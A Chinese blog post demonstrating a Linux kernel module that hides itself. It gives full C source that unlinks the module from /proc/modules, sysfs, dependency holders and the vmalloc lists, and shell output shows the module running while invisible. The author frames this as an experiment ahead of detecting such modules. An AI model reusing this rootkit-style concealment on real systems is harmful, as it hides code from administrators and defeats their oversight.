隐藏自己的Linux内核模块
2020-07-12 16:09
423 查看
前面我提倡使用oneshot模式加载模块,即让模块在init函数中把事情做完后就return -1,这样系统中便不存在这么一个模块,也就不需要隐藏了。
但是,由于THIS_MODULE宏的存在,我们发现实际上隐藏一个模块是多么地简单。事实上,模块可以在init函数中通过THIS_MODULE宏实现自隐藏的。想想看,自己可以给自己办理身份证,户口迁移,自己给自己签证,是多么有意思且有意义。
既然如此简单,还费事搞oneshot干嘛,精神洁癖总是不想看到return -1。
和进程隐藏完全不同,进程无法自己隐藏自己,只能依靠其它模块找到相应的task_struct,然后再摘链。
THIS_MODULE宏对于每一个内核模块均有一个,它将xx.mod.c中的下列结构体载入内核空间:
struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, };
我来用代码演示一下如何来隐藏自己,代码如下:
// hidemyself.c #include <linux/module.h> #include <net/netfilter/nf_conntrack_core.h> #include <asm-generic/delay.h> #include <linux/kallsyms.h> #include <linux/vmalloc.h> struct timer_list timer; // 模拟重体力劳动 static void timer_func(unsigned long data) { udelay(1000); mod_timer(&timer, jiffies + 10); } static void __init hide_myself(void) { struct vmap_area *va, *vtmp; struct module_use *use, *tmp; struct list_head *_vmap_area_list; struct rb_root *_vmap_area_root; _vmap_area_list = (struct list_head *)kallsyms_lookup_name("vmap_area_list"); _vmap_area_root = (struct rb_root *)kallsyms_lookup_name("vmap_area_root"); // 摘除vmalloc调用关系链,/proc/vmallocinfo中不可见 list_for_each_entry_safe(va, vtmp, _vmap_area_list, list) { if ((unsigned long)THIS_MODULE > va->va_start && (unsigned long)THIS_MODULE < va->va_end) { list_del(&va->list); // rbtree中摘除,无法通过rbtree找到 rb_erase(&va->rb_node, _vmap_area_root); } } // 摘除链表,/proc/modules 中不可见。 list_del_init(&THIS_MODULE->list); // 摘除kobj,/sys/modules/中不可见。 kobject_del(&THIS_MODULE->mkobj.kobj); // 摘除依赖关系,本例中nf_conntrack的holder中不可见。 list_for_each_entry_safe(use, tmp, &THIS_MODULE->target_list, target_list) { list_del(&use->source_list); list_del(&use->target_list); sysfs_remove_link(use->target->holders_dir, THIS_MODULE->name); kfree(use); } } static int __init hideself_init(void) { hide_myself(); init_timer(&timer); timer.expires = jiffies + 20; timer.function = timer_func; add_timer(&timer); // 模拟依赖。我们需要在依赖关系中也隐藏掉该模块的行踪 printk("address:%p this:%p\n", nf_conntrack_in, THIS_MODULE); return 0; } static void __exit hideself_exit(void) { del_timer_sync(&timer); } module_init(hideself_init); module_exit(hideself_exit); MODULE_LICENSE("GPL");
我们加载该模块,发现重体力劳动已经开始运行:
[root@localhost test]# insmod ./hidemyself.ko [root@localhost test]# perf top Samples: 2K of event 'cpu-clock', Event count (approx.): 383743956 Overhead Shared Object Symbol 47.89% [kernel] [k] native_read_tsc 38.93% [kernel] [k] delay_tsc 1.61% [kernel] [k] _raw_spin_unlock_irqrestore 1.47% [kernel] [k] __do_softirq 1.26% perf [.] __symbols__ins
依赖也已经记录:
[root@localhost test]# lsmod |grep nf_conntrack nf_conntrack 105737 1
但是却哪里都找不到:
[root@localhost test]# cat /proc/modules |grep hidemyself [root@localhost test]# ls -l /sys/module/|grep hidemyself [root@localhost test]# ls -l /sys/module/nf_conntrack/holders/|grep hidemyself [root@localhost test]#
同时,/proc/vmallocinfo中也没有该模块的地址空间。下面是dmesg打印出的信息:
[ 668.202784] address:ffffffffa02a56e0 this:ffffffffa00fa000
我们看得出,THIS_MODULE的地址是 0xffffffffa00fa000,我们在/proc/vmallocinfo中找不到包含该地址的vmalloc区间!
隐藏很成功。而且…
而且,模块还可以加载多次的哦,因为它已经在命名空间中被自己除名了,完全脱离了组织的管理。
接下来,我正常要做的就是, 把它找出来!
当然,扫描modules内存区间是可行的,它在:
// arch/x86/include/asm/pgtable_64_types.h #define MODULES_VADDR _AC(0xffffffffa0000000, UL) #define MODULES_END _AC(0xffffffffff000000, UL)
还有更好的方法,后面再说吧。
回家咯。
浙江温州皮鞋湿,下雨进水不会胖。
相关文章推荐
- Web---myAjax(自己写底层)-隐藏帧技术
- 黑客进入服务器隐藏自己的方法
- 教你在局域网上把自己隐藏起来
- 隐藏自己的ip地址(更新中)
- 为每个VC设置自己的状态栏隐藏与显示
- 菜鸟小技巧:如何在网上隐藏自己的IP地址(5)
- 如何在Windows NT中隐藏自己[转]
- 蹭网后,设置路由器隐藏自己
- android 隐藏自己的多媒体文件
- Web---myAjax(自己写底层)-隐藏帧技术
- Mac下ProxyChains Tor实现shell代理,隐藏自己的ssh登陆ip
- 教你自己做回收站隐藏文件和文件夹
- 菜鸟小技巧:如何在网上隐藏自己的IP地址(1)
- 菜鸟小技巧:如何在网上隐藏自己的IP地址(4)
- 入侵时隐藏自己的真正身份
- 自己在项目中遇到的几个问题,包括vector的问题,键盘隐藏等
- Socket API隐藏自己的真实IP
- 宇宙中每一个智慧生命都是猎人,猎人就是要隐藏自己
- 如何依照自己的意愿隐藏和显示页面上的元素
- 如何在网上隐藏自己的IP地址